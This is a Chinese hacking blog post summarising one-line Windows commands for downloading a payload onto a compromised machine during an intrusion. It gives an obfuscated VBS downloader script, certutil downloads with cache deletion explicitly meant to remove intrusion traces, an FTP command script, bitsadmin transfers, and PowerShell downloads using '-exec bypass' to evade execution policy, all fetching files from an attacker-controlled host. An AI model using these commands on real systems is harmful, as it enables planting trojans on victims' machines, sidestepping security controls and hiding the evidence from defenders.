天道酬勤

一句话下载payload总结

在渗透的过程中,令机器上线是一个重要的问题,其实最关键的一步就是如何将我们的木马文件上传到目标机器上。看了Micro8大佬的文章,收获颇多,在此做下记录。

利用vbs进行下载

无论是哪个版本的Windows,都支持vbs。

核心代码:

set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

将其保存为downfile.vbs

以上代码再测试了N次之后终于成功了,中间测试的时候,代码一直编译不成功,解决办法是,将代码复制到notepad++中,之后再使命令存在于一行中再编译即可,去掉多余的换行符。

利用命令下载:

cscript downfile.vbs http://192.168.101.97:8080/dict.txt C:\Windows\Temp\dict.txt

为了更好的写入脚本,我们通常使用echo来写入脚本。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs

使用vbs的缺点是对https协议不友好

利用certutil进行下载

直接使用命令:

certutil.exe -urlcache -split -f http://192.168.101.97:8080/dict.txt

使用certutil进行下载,会产生缓存,从而导致入侵的痕迹,所以每次下载之后,都要执行如下命令进行缓存删除:

certutil.exe -urlcache -split -f http://192.168.101.97:8080/dict.txt delete

利用ftp进行下载

echo open 192.168.101.97 21> ftp.txt
echo uftp>> ftp.txt //user
echo uftp>> ftp.txt //password
echo binary >> ftp.txt //bin模式 
echo get 1.txt >> ftp.txt
echo bye >> ftp.txt

传输数据时采用二进制形式,可以传送文本和非文本文件。

之后,我们再使用命令运行:

ftp -s:ftp.txt

利用bitsadmin进行下载

BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。

自 windows7 以上版本内置 bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。

bitsadmin /rawreturn /transfer down "http://192.168.101.97:8080/dict.txt" C:\Windows\Temp\77.txt

其中,down为任务名,可以随意起名。

默认情况下使用bitsadmin下载速度会比较慢,所以下载大文件时需要设置优先级提速。

bitsadmin /rawreturn /transfer down "http://192.168.101.97:8080/dict.txt" C:\Windows\Temp\77.txt
---------------------------------
bitsadmin /setpriority down foreground   #提升优先级

比较难过的是,它不支持https。

利用PowerShell进行下载

可以直接使用一句话命令:

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.101.97:8080/dict.txt','C:\Users\user\Desktop\123.txt')

当然,我们也可以使用代码呀:

$Urls = @()
$Urls += "http://192.168.101.97:8080/dict.txt"
$OutPath = "C:\Users\user\Desktop\" 
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file) 
}

使用方法:powershell -File 1.ps1

在Powershell3.0以后,提供了wget命令,即Invoke-WebRequest

可以使用代码:

$url = "http://192.168.1.115/robots.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"

使用方法为:powershell 1.ps1

我还是建议呢,尽量使用一开始的一句话命令下载就好,因为powershell要想执行脚本的话,是得有权限的,而默认是不开权限的!但在一句话中,可以通过-exec bypass -c来达到绕过权限的目的!

参考文章:来源于Micro8大佬的文章

另参考大佬文章:https://www.cnblogs.com/csnd/p/11807589.html

赞(0) 打赏
未经允许不得转载:HackerGu‘s Blog » 一句话下载payload总结
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏